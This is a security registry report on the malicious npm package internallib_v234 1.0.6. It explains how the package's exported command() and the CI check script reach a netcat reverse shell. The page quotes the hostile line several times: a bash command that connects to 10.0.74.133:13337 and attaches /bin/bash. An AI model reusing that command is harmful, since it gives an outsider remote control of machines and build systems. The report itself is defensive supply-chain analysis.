registry / Remote code execution / internallib_v234

internallib_v234

This report shows the evidence for internallib_v234@1.0.6. 5 of 5 known versions are blocked or flagged. The newest version, 1.0.7, is blocked. See all versions.

AI Security Review

scanned 4mo ago · by lpm-firewall-ai

Direct source inspection confirms concrete reverse-shell behavior reachable through the package export and bundled CI check script. This is not package-aligned functionality and enables unauthorized remote command execution.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Calling exports.command(), including via node check.js in CI

Impact

Remote shell execution from the consuming environment when the command is invoked.

Mechanism

child_process exec netcat reverse shell

Attack narrative

When command() is invoked, index.js first checks for netcat and then executes a bash command that starts nc to 10.0.74.133:13337 with /bin/bash attached. The included check.js calls this export, and the GitLab CI config runs check.js, creating a reachable reverse-shell path in automated environments.

AI rationale

Evidence

index.jscheck.jspackage.json.gitlab-ci.yml/bin/bash

Network endpoints1

10.0.74.133:13337

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

index.js exports command() that runs child_process.exec.
index.js probes for nc with whereis nc.
index.js executes /bin/bash -c "nc -vn 10.0.74.133 13337 -e /bin/bash".
check.js imports internallib_v234 and calls command().
.gitlab-ci.yml runs node check.js after npm update, making the reverse shell reachable in CI.

Evidence against

package.json has no npm lifecycle hook.
No credential harvesting or file exfiltration code found beyond the reverse shell.

Behavioral surface

Source

ChildProcessShell

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 444 B of source

Source & flagged code

4 flagged

index.jsView file

1const { exec } = require('child_process'); L2: ... L5: L6: exec('whereis nc', (error, stdout, stderr) => { L7: if (error) { ... L13: L14: exec('/bin/bash -c "nc -vn 10.0.74.133 13337 -e /bin/bash"'); L15:

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

index.jsView on unpkg · L1

1Trigger-reachable chain: manifest.main -> index.js L1: const { exec } = require('child_process'); L2: ... L5: L6: exec('whereis nc', (error, stdout, stderr) => { L7: if (error) { ... L13: L14: exec('/bin/bash -c "nc -vn 10.0.74.133 13337 -e /bin/bash"'); L15:

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

1const { exec } = require('child_process'); L2:

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L1

13L14: exec('/bin/bash -c "nc -vn 10.0.74.133 13337 -e /bin/bash"'); L15:

High

Shell

Package source references shell execution.

index.jsView on unpkg · L13

Source & flagged code

4 flagged · loading source

index.jsView file

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

index.jsView on unpkg · L1

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

1const { exec } = require('child_process'); L2:

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L1

13L14: exec('/bin/bash -c "nc -vn 10.0.74.133 13337 -e /bin/bash"'); L15:

Findings

2 Critical2 High1 Low

CriticalReverse Shellindex.js

CriticalTrigger Reachable Dangerous Capabilityindex.js

HighChild Processindex.js

HighShellindex.js

LowScripts Present

Affected versions and remediation

This report applies to internallib_v234@1.0.6.

The versions list below shows the verdict for each recorded version.

Avoid installing internallib_v234@1.0.6. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-07-06 06:46:42.990Z (UTC).

Source advisory published: 2026-07-06 05:28:03.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

5 known versions

1.0.7latestMaliciousMalwareBlockPublishedJul 4, 2026, 4:24 PM 1.0.6shownMaliciousRemote Code ExecutionBlockPublishedJul 4, 2026, 4:18 PM 1.0.5MaliciousMalwareBlockPublishedJul 4, 2026, 4:13 PM 1.0.4MaliciousRemote Code ExecutionBlockPublishedJul 4, 2026, 4:06 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Source & flagged code

Related packages

Other remote code execution packages